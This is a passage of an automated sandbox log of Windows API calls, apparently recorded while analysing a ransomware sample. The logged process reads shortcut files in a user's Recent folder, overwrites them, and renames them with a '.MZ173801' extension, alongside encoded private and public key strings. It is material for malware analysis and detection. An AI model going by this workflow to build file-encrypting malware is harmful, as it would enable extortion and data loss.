(lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jm-pvNoF7ZQ8Z9U.lnk", dwFileAttributes=0x80) returned 1 [0148.232] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0148.232] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0148.234] GetCurrentThreadId () returned 0xab4 [0148.234] GetCurrentThreadId () returned 0xab4 [0148.234] GetCurrentThreadId () returned 0xab4 [0148.289] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0148.290] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0148.290] GetCurrentThreadId () returned 0xab4 [0148.290] GetCurrentThreadId () returned 0xab4 [0148.290] GetCurrentThreadId () returned 0xab4 [0148.290] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jm-pvNoF7ZQ8Z9U.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jm-pvnof7zq8z9u.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.290] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0148.290] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.290] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3d3 [0148.291] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0148.291] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3d3, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3d3, lpOverlapped=0x0) returned 1 [0148.292] CloseHandle (hObject=0x280) returned 1 [0148.292] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jm-pvNoF7ZQ8Z9U.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jm-pvnof7zq8z9u.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0148.358] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3d3, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3d3, lpOverlapped=0x0) returned 1 [0148.360] CloseHandle (hObject=0x280) returned 1 [0148.366] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jm-pvNoF7ZQ8Z9U.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jm-pvnof7zq8z9u.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Jm-pvNoF7ZQ8Z9U.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jm-pvnof7zq8z9u.lnk.mz173801")) returned 1 [0148.367] GetCurrentThreadId () returned 0xab4 [0148.367] GetCurrentThreadId () returned 0xab4 [0148.367] GetCurrentThreadId () returned 0xab4 [0148.367] GetCurrentThreadId () returned 0xab4 [0148.367] GetCurrentThreadId () returned 0xab4 [0148.367] GetCurrentThreadId () returned 0xab4 [0148.367] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0b18b5c, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x4e12cf80, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4e12e2c5, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x477, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="JsYf-A6h4Bx.lnk", cAlternateFileName="JSYF-A~1.LNK")) returned 1 [0148.368] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0148.368] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0148.368] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JsYf-A6h4Bx.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jsyf-a6h4bx.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0b18b5c, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0x4e12cf80, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4e12e2c5, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x477)) returned 1 [0148.368] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JsYf-A6h4Bx.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\jsyf-a6h4bx.lnk")) returned 0x20 [0148.368] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\JsYf-A6h4Bx.lnk", dwFileAttributes=0x80) returned 1 [0148.370] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 